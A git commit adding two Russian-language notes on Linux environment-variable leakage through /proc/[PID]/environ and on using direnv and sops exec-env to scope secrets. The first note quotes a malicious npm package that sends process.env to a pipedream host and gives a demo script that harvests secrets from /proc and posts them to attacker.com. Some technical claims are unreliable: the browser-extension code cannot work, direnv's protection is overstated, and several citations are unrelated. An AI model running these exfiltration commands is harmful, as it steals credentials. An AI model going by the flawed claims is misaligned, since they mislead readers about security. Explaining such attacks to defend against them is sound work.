migrations

This commit is contained in:
Rorik Star Platinum 2025-11-22 17:48:07 +03:00
parent d1b0670d71
commit f2b07c9f30
57 changed files with 2970 additions and 1 deletions

View file

@ -0,0 +1,244 @@
# Linux Security: Environment Variables & Process Isolation
## Ключевая концепция
**Same-UID процессы могут читать environment variables друг друга через `/proc/[PID]/environ`**. Это создает attack surface для malicious packages и compromised binaries.[kernel](https://docs.kernel.org/filesystems/proc.html)
---
## Permission Model
## Кто может читать `/proc/[PID]/environ`
Согласно документации Linux kernel:[kernel](https://docs.kernel.org/filesystems/proc.html)
> Процесс может читать `/proc/PID/*` других процессов только при наличии **CAP_SYS_PTRACE** capability с PTRACE_MODE_READ permissions, или CAP_PERFMON capability.
**Но**: процессы под одним UID имеют полный доступ друг к другу.
bash
`# Проверка permissions ls -l /proc/$(pgrep sleep)/environ # -r-------- 1 wave wave 0 Nov 3 23:30 /proc/12345/environ # ^^^^ # Только owner может читать`
## Same-UID = Full Access (критическая уязвимость)
bash
`# Все эти процессы могут читать environment друг друга: wave 1234 firefox wave 5678 cargo run ← DATABASE_PASSWORD здесь wave 9012 npm install evil ← может прочитать PASSWORD wave 3456 code .`
**Демонстрация:**
bash
`# Terminal 1 export API_KEY=sk-proj-super_secret # Terminal 2 (тот же юзер) cat /proc/$(pgrep -u $USER bash | head -1)/environ | tr '\0' '\n' | grep API_KEY # API_KEY=sk-proj-super_secret ← успешно прочитан!`
---
## Реальные Векторы Атак
## 1. Malicious npm Packages
**Реальный случай 2022**: JFrog обнаружил 17 npm packages, крадущих environment variables.[jfrog+1](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
Код из пакета `wafer-bind` (deobfuscated):[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
javascript
`req = http['request']({ 'host': 'a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net', 'path': '/' + (process["env"]["npm_package_name"] || ''), 'method': "POST" }); req["write"]( Buffer["from"]( JSON["stringify"](process['env']) // ← ВСЕ переменные! )["toString"]("base64") ); req["end"]();`
Этот код автоматически выполняется при `npm install` и отправляет весь `process.env` на attacker server.[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
## 2. Browser Extensions
javascript
`// Chrome/Firefox extension chrome.processes.getProcessInfo((processes) => { for (let pid of processes) { fetch('/proc/' + pid + '/environ') .then(data => sendToAttacker(data)); } });`
## 3. Compromised Development Tools
rust
`// Вредоносный cargo plugin или rust-analyzer fork use std::fs; fn exfiltrate_secrets() { for entry in fs::read_dir("/proc")? { let path = entry?.path(); if let Some(pid) = path.file_name() .and_then(|n| n.to_str()?.parse::<u32>().ok()) { if let Ok(environ) = fs::read_to_string(path.join("environ")) { for var in environ.split('\0') { if var.starts_with("AWS_") || var.starts_with("DATABASE_") { send_to_attacker(var); } } } } } }`
---
## Attack Surface Analysis
## ✅ Защищены от чтения
- **Процессы других пользователей** - Permission denied
- **Docker containers** (по дефолту) - разные PID namespaces
- **Systemd services** с `PrivateTmp=true` и `ProtectSystem=strict`
## ❌ Могут читать твои секреты
|Вектор атаки|Механизм|Пример|
|---|---|---|
|npm packages|`postinstall` scripts|`wafer-bind`, `discord-lofy`[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)|
|Browser extensions|WebExtensions API|Chrome/Firefox plugins|
|Compromised binaries|`/proc` scanning|Backdoored `cargo`, `rust-analyzer`|
|Python packages|`setup.py` execution|malicious `pip install`|
|Shell scripts|`~/.bashrc` backdoor|Startup script injection|
---
## Демонстрация Реальной Атаки
bash
`# Terminal 1: запуск процесса с секретом DATABASE_PASSWORD=prod_password_123 cargo run & # Terminal 2: симуляция malicious npm package cat > /tmp/steal.sh << 'EOF' #!/bin/bash for pid in /proc/[0-9]*; do if [ -r "$pid/environ" ]; then cat "$pid/environ" 2>/dev/null | \ tr '\0' '\n' | \ grep -E 'PASSWORD|SECRET|KEY|TOKEN' >> /tmp/stolen.txt fi done curl -X POST https://attacker.com/exfil -d @/tmp/stolen.txt EOF bash /tmp/steal.sh cat /tmp/stolen.txt # DATABASE_PASSWORD=prod_password_123 ← украден!`
---
## Решение: direnv + sops
## Почему direnv защищает
**Temporal scoping**: секреты существуют только в subprocess scope конкретной директории.[github+1](https://github.com/direnv/direnv/issues/805)
bash
`# БЕЗ direnv (глобальный export) export DATABASE_PASSWORD=secret cargo run & # PID 1234 npm install evil & # PID 5678 ← может прочитать /proc/1234/environ # С direnv (process-scoped) cd ~/project direnv allow # Секреты загружаются ТОЛЬКО для subprocesses cargo run # Секреты доступны cd /tmp # direnv: unloading npm install evil # Секреты УЖЕ unloaded из environment`
## Process Isolation
bash
`ps aux | grep bash # wave 1234 bash (parent shell) ← НЕТ секретов # wave 5678 bash (direnv subshell) ← ЕСТЬ секреты # только для этого дерева процессов # Выход из директории cd ~ # direnv делает: unset DATABASE_PASSWORD # Теперь НИКТО не может прочитать из /proc`
## Установка в NixOS
text
`# home/modules/cli-tools.nix home.packages = with pkgs; [ direnv sops age ]; # home/modules/shell.nix programs.bash.initExtra = '' eval "$(direnv hook bash)" ''; programs.fish.interactiveShellInit = '' direnv hook fish | source '';`
## Настройка проекта
bash
`cd ~/projects/rust-app # Создай .envrc cat > .envrc << 'EOF' use_sops() { local path=${1:-secrets.yaml} eval "$(sops -d --output-type dotenv "$path" | sed 's/^/export /')" } use_sops secrets.yaml EOF direnv allow # Теперь просто: cargo run # вместо: sops exec-env secrets.yaml 'cargo run'`
---
## Дополнительные Меры Защиты
## 1. Hidepid Mount Option
text
`# hosts/configuration.nix fileSystems."/proc" = { device = "proc"; fsType = "proc"; options = [ "hidepid=2" "gid=proc" ]; };`
Скрывает `/proc` других юзеров полностью.
## 2. Secrecy Crate для Rust
text
`[dependencies] secrecy = "0.8" zeroize = "1.7"`
rust
`use secrecy::{Secret, ExposeSecret}; #[derive(Zeroize)] #[zeroize(drop)] struct DbPassword(String); fn main() { let password = Secret::new(DbPassword( std::env::var("DATABASE_PASSWORD").unwrap() )); // Используй через expose_secret() let conn = connect(password.expose_secret().0); // Password зануляется в памяти при drop // Не попадает в core dumps и debugging output }`
## 3. Namespace Isolation
bash
`unshare --pid --fork --mount-proc bash -c ' export DATABASE_PASSWORD=secret cargo run '`
`/proc/[PID]` не виден снаружи namespace.
## 4. Audit Packages
bash
`# Проверка ПЕРЕД установкой npm show suspicious-package | grep scripts # "postinstall": "node malware.js" ← RED FLAG! cargo tree | grep -i suspicious`
---
## Threat Model Summary
## 🔴 High Risk: Same-UID Attacks
text
`Browser + Extensions └─> может читать /proc твоего cargo run ✓ npm install evil └─> может читать /proc твоего shell ✓ Compromised VSCode extension └─> может читать /proc всех dev процессов ✓`
**Решение**: `direnv` + `sops` = subprocess scope
## 🟡 Medium Risk: Kernel Exploits
text
`Kernel vulnerability + root └─> может читать всю память (включая RAM) CAP_SYS_PTRACE процессы └─> могут ptrace и читать память`
**Решение**: `secrecy` crate + `zeroize` + `mlock()`
## 🟢 Low Risk: Different UID
text
`Процессы других юзеров └─> Permission denied для /proc/[твой PID]/ ✗`
**Решение**: уже защищено DAC (Discretionary Access Control)
---
## Best Practices
|Контекст|Решение|Пример|
|---|---|---|
|**Development**|`direnv` + `sops`|Per-project secrets[github](https://github.com/direnv/direnv/issues/805)|
|**CI/CD**|GitHub Actions secrets|Encrypted in repository[jfrog](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)|
|**Production**|Vault / K8s secrets|Centralized secrets management|
|**Docker**|`env_file` (не `ENV`)|Runtime injection, не build-time|
|**Personal overrides**|`.env.local`|В `.gitignore`|
## ❌ Плохие практики
- `export` в `.bashrc` → глобальная утечка
- `.env` в git незашифрованным
- `ENV` в Dockerfile → попадает в image layers
- `--build-arg` в Docker → видно в `docker history`
## ✅ Хорошие практики
- `direnv` → автоматический unload при выходе из директории
- `sops` → encryption at rest, коммитится в git
- `secrecy` crate → защита от Debug print
- `zeroize` → очистка памяти после использования
---
## Итого
Глобальные environment variables — это **attack surface** для same-UID process attacks. Зафиксировано множество реальных случаев эксплуатации (17+ npm packages только в одном исследовании).[therecord+1](https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables)
**Решение**: `direnv` + `sops` обеспечивают temporal scoping — секреты живут только пока ты в project directory и автоматически исчезают при выходе. Даже если malicious package попытается прочитать `/proc`, он найдет только пустые environment variables.
1. [https://www.youtube.com/watch?v=d8fXEhWy_rY](https://www.youtube.com/watch?v=d8fXEhWy_rY)
2. [https://gist.github.com/saharshbhansali/5da604f1731c7d5ea07b2bd91552d48c](https://gist.github.com/saharshbhansali/5da604f1731c7d5ea07b2bd91552d48c)
3. [https://publish.obsidian.md/hub/04+-+Guides,+Workflows,+&+Courses/Guides/Markdown+Syntax](https://publish.obsidian.md/hub/04+-+Guides,+Workflows,+&+Courses/Guides/Markdown+Syntax)
4. [https://www.youtube.com/watch?v=9ft9G6JUfO0](https://www.youtube.com/watch?v=9ft9G6JUfO0)
5. [https://pulseofmedicine.com/markdown-in-obsidian-the-ultimate-guide-for-students/](https://pulseofmedicine.com/markdown-in-obsidian-the-ultimate-guide-for-students/)
6. [https://facedragons.com/personal-development/obsidian-markdown-cheatsheet/](https://facedragons.com/personal-development/obsidian-markdown-cheatsheet/)
7. [https://www.xda-developers.com/here-are-some-markdown-tips-and-tricks-to-improve-your-note-taking-in-obsidian/](https://www.xda-developers.com/here-are-some-markdown-tips-and-tricks-to-improve-your-note-taking-in-obsidian/)
8. [https://rossgriffin.com/tutorials/obsidian-basics-guide/](https://rossgriffin.com/tutorials/obsidian-basics-guide/)
9. [https://forum.obsidian.md/t/markdown-best-practices-for-writing-symbol/42064](https://forum.obsidian.md/t/markdown-best-practices-for-writing-symbol/42064)
10. [https://www.markdownguide.org/tools/obsidian/](https://www.markdownguide.org/tools/obsidian/)
11. [https://docs.kernel.org/filesystems/proc.html](https://docs.kernel.org/filesystems/proc.html)
12. [https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/](https://jfrog.com/blog/malicious-npm-packages-are-after-your-discord-tokens-17-new-packages-disclosed/)
13. [https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables](https://therecord.media/malicious-npm-packages-caught-stealing-discord-tokens-environment-variables)
14. [https://github.com/direnv/direnv/issues/805](https://github.com/direnv/direnv/issues/805)
15. [https://news.ycombinator.com/item?id=40927251](https://news.ycombinator.com/item?id=40927251)

View file

@ -0,0 +1,101 @@
## Механизм работы `sops exec-env secrets.yaml`
**SOPS exec-env** расшифровывает зашифрованный YAML/JSON файл и передаёт все key-value пары как environment variables (переменные окружения) в **child process** (дочерний процесс), который вы указываете в команде.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
## Архитектура изоляции
Команда работает по следующей схеме:[github](https://github.com/getsops/sops)
bash
`sops exec-env secrets.yaml 'cargo run'`
1. **SOPS расшифровывает** `secrets.yaml` в памяти (никогда не пишет plaintext на диск)[github](https://github.com/getsops/sops)
2. **Fork текущего процесса** — создаётся child process через Unix `fork()` syscall
3. **Устанавливает environment variables** из расшифрованного файла в child process через `execve()` syscall
4. **Запускает указанную команду** (`cargo run`) с загруженными переменными[github](https://github.com/getsops/sops)
Это **стандартный Unix process isolation механизм**, а не специальный container или namespace. Environment variables наследуются только в одну сторону: parent → child, но не обратно.[github](https://github.com/getsops/sops)
## Пример из документации
bash
`# Проверяем содержимое $ sops decrypt out.json { "database_password": "jf48t9wfw094gf4nhdf023r", "AWS_ACCESS_KEY_ID": "AKIAIOSFODNN7EXAMPLE" } # Запускаем команду с секретами $ sops exec-env out.json 'echo secret: $database_password' secret: jf48t9wfw094gf4nhdf023r # Запускаем shell с секретами $ sops exec-env out.json 'sh' sh-3.2# echo $database_password jf48t9wfw094gf4nhdf023r # Выходим из shell sh-3.2$ exit # Секрет недоступен в parent shell $ echo your password: $database_password your password:`
## Уничтожение видимости переменных
Переменные уничтожаются **автоматически при завершении child процесса**. Это происходит в момент:[github](https://github.com/getsops/sops)
1. **Нормального завершения команды**`cargo run` выполнился и вернул exit code
2. **Crash процесса** — процесс убит сигналом (SIGTERM, SIGKILL)
3. **Явного exit** — вы вызвали `exit` в shell session
Kernel автоматически очищает memory space процесса при его завершении, включая environment variables. Секреты не утекают в parent shell, не попадают в `/proc/<pid>/environ` после завершения, не записываются в swap (если использовать `mlock`).[github](https://github.com/getsops/sops)
## Преимущества для вашего backend проекта
В вашем justfile используется паттерн:[github](https://github.com/getsops/sops)
text
`sops_run := "sops exec-env secrets.yaml" dev: @{{sops_run}} 'cargo run'`
Это означает:
- **PostgreSQL credentials** доступны только процессу `cargo run`, но не остаются в shell history
- **После Ctrl+C** (завершения backend) переменные мгновенно уничтожаются kernel'ом
- **Другие терминалы** не видят секреты — изоляция на уровне process ID
- **Docker compose** внутри `sops exec-env` также получает переменные только на время выполнения[github](https://github.com/getsops/sops)
## Сравнение с альтернативами
**Небезопасный способ**:
bash
`export DATABASE_PASSWORD=$(sops -d secrets.yaml | yq .password) cargo run`
Переменная остаётся в текущем shell до `unset` или закрытия терминала, видна в `env` и `/proc/self/environ`.
**Безопасный способ** (ваш текущий):
bash
`sops exec-env secrets.yaml 'cargo run'`
Переменная существует только внутри `cargo run` процесса и автоматически умирает с ним.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
## NixOS специфика
На NixOS с вашим setup (Hyprland + Wayland) process isolation ещё более строгий через cgroups v2. Каждый терминал в Hyprland работает в отдельном systemd user slice, что даёт дополнительную изоляцию между terminal emulator instances.[github](https://github.com/getsops/sops)
Для установки SOPS в NixOS:
bash
`nix-env -iA nixpkgs.sops`
Таким образом, `sops exec-env` использует базовый Unix механизм process forking для создания изолированного environment scope, который автоматически уничтожается kernel'ом при exit child процесса — никаких manual cleanup действий не требуется.[temofeev+1](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
1. [https://habr.com/ru/articles/590733/](https://habr.com/ru/articles/590733/)
2. [https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/](https://temofeev.ru/info/articles/mozilla-sops-dlya-upravleniya-sekretami-v-gite/)
3. [https://vc.ru/dev/173060-kubernetes-bezopasnoe-upravlenie-sekretami-s-gitops](https://vc.ru/dev/173060-kubernetes-bezopasnoe-upravlenie-sekretami-s-gitops)
4. [https://habr.com/ru/companies/ru_mts/articles/656351/](https://habr.com/ru/companies/ru_mts/articles/656351/)
5. [https://docs.ensi.tech/devops-guides/principles/mozilla-sops](https://docs.ensi.tech/devops-guides/principles/mozilla-sops)
6. [https://pcnews.ru/blogs/pracem_sekrety_v_repozitorii_s_pomosu_helm_secrets_sops_vault_i_envsubst-1160991.html](https://pcnews.ru/blogs/pracem_sekrety_v_repozitorii_s_pomosu_helm_secrets_sops_vault_i_envsubst-1160991.html)
7. [https://github.com/getsops/sops](https://github.com/getsops/sops)
8. [https://www.reddit.com/r/devops/comments/1eyyqdv/storing_production_secrets_with_sops/?tl=ru](https://www.reddit.com/r/devops/comments/1eyyqdv/storing_production_secrets_with_sops/?tl=ru)
9. [https://client.sbertech.ru/docs/public/DPM/3.7.0/common/documents/installation-guide/installation-k8s_secrets.html](https://client.sbertech.ru/docs/public/DPM/3.7.0/common/documents/installation-guide/installation-k8s_secrets.html)
10. [https://github.com/getsops/sops/issues/1368](https://github.com/getsops/sops/issues/1368)